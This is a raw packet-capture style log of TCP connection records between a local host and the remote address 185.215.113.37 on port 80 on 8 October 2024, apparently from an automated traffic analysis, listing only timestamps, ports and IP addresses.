Oct 8, 2024 05:27:17.907898903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907921076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907948971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.907998085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907998085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.907999039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908027887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908042908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908058882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908070087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908070087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908075094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908092022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908106089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908121109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908126116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908126116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908135891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908149958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908163071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908186913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908200979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908212900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908212900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908216953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908233881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908247948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908262968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908267975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908267975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908277988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908293009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908305883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908318996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908343077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908344030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908359051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908360958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908375025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908389091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908402920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908416986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908417940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908417940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908433914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908449888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908463001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908478022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908493042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908509016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908509016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908543110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908555984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908570051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908582926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908582926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908587933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908611059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908637047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908651114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908664942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908677101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908677101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908677101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908679008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908695936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908704996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908711910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908730030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908732891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908746004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908765078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908778906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908793926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908807039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908818960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908818960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908823967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908843994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908859968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908874989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908878088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908878088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908890009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908904076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908919096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908929110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.908940077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908955097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908970118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908984900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.908998966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909003973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909003973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909014940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909029007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909049988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909065962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909068108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909068108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909087896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909102917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909116983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909126043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909126043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909132957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909141064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909163952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909176111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909190893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909207106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909215927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909215927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909221888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909238100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909251928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909271002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909276009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909276009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909286022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909301043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909313917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909328938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909338951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909338951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909344912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909358978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909382105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909396887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909408092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909408092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909411907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909426928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909450054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909447908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909466028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909482956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909497023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909507036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909507036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909512997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909529924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909545898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909559011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909584999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909585953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909585953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909599066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909615040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909629107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909643888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909651995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909651995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909667015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909682989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909696102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909707069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909708023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909713984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909729958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909746885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909776926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909776926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909785986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909800053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909815073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909828901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.909856081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.909856081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.910128117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996145964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996176958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996210098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996242046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996290922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996340990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996357918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996357918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996359110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996359110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996372938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996423960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996442080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996442080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996474028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996484995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996509075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996543884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996593952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996596098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996596098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996643066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996695995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996695995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996695995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996731997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996763945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996787071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996787071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996797085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996829033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996854067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996854067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996861935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996895075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996917009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996917009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996927977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996963024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.996979952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996979952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.996994972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997055054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997056961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997056961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997106075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997157097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997205019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997205019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997205019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997210979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997261047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997262955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997296095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997328997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997349977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997349977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997358084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997384071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997387886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997404099 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997421026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997454882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997473955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997473955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997488022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997519016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997539997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997539997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997553110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997565985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997586966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997605085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997620106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997647047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997679949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997709036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997709036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997714043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997745991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997764111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997764111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997778893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997811079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997828960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997828960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997843981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997874975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997891903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997891903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997908115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997939110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.997958899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997958899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.997972965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998003960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998024940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998024940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998039007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998070002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998090982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998090982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998104095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998136044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998155117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998155117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998176098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998208046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998225927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998225927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998241901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.998292923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.998292923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.031868935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.031886101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.031903028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.031917095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.031959057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.031997919 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032037973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032052994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032068014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032082081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032098055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032111883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032119036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032119036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032128096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032141924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032166004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032175064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032181978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032197952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032205105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032222033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032248974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032248974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032249928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032267094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032284021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032299995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032299995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032305956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032321930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032322884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032337904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032351971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032355070 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032367945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032394886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032408953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032423973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032434940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032434940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032447100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032459021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032463074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032480955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032495975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032510042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032524109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032531023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032531023 CEST	49706	80	192.168.2.5	185.215.113.37
